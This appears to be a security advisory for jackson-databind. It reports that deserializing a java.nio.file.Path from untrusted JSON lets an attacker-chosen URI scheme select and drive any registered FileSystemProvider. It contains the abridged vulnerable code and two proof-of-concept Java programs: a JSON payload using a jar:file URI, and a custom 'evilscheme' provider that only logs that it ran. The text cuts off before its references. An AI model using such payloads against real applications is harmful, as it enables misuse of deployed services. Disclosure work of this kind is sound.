Résumé

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

Détails de l’avis

Summary

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().

Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.

Description

NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):

int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value);          // attacker-controlled URI string
try {
    return Path.of(uri);                  // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
    final String scheme = uri.getScheme();
    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
        if (provider.getScheme().equalsIgnoreCase(scheme)) {
            return provider.getPath(uri);  // attacker scheme selects & drives a provider
        }
    }
    // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

Vulnerable Code Location

  • src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java
    • STD_PATH → NioPathHelper.deserialize; NioPathHelper.deserialize body (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)).

Proof of Concept

Two PoCs are provided.

PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction.

PoC 1 — sink reached (built-in jar provider).

com/poc/Vuln04_PathProvider.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;

/**
 * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
 * Path.of(uri) / ServiceLoader<FileSystemProvider>.
 */
public class Vuln04_PathProvider {
    public static class Config { public Path workdir; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
        String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
        System.out.println("Deserializing (default mapper): " + json);
        try {
            Config c = mapper.readValue(json, Config.class);
            System.out.println("Resolved Path = " + c.workdir + "  (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
            System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
        } catch (Throwable t) {
            System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
            System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
        }
    }
}

PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider). A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.

com/poc/EvilFileSystemProvider.java:

package com.poc;

import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;

/**
 * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
 * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
 * application's classpath. Its static initializer and getPath() record that they executed,
 * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
 * inside jackson's readValue.
 */
public class EvilFileSystemProvider extends FileSystemProvider {
    public static volatile boolean STATIC_INIT_RAN = false;
    public static volatile String GET_PATH_URI = null;
    static { STATIC_INIT_RAN = true; }

    @Override public String getScheme() { return "evilscheme"; }

    @Override public Path getPath(URI uri) {
        GET_PATH_URI = uri.toString();
        System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
        return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
    }

    // --- remaining abstract methods: minimal stubs ---
    @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }
    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
    @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }
    @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }
    @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }
    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }
    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public boolean isSameFile(Path p, Path p2) { return false; }
    @Override public boolean isHidden(Path p) { return false; }
    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
    @Override public void checkAccess(Path p, AccessMode... m) { }
    @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }
    @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}

Registration descriptor — src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider:

com.poc.EvilFileSystemProvider

Driv

Références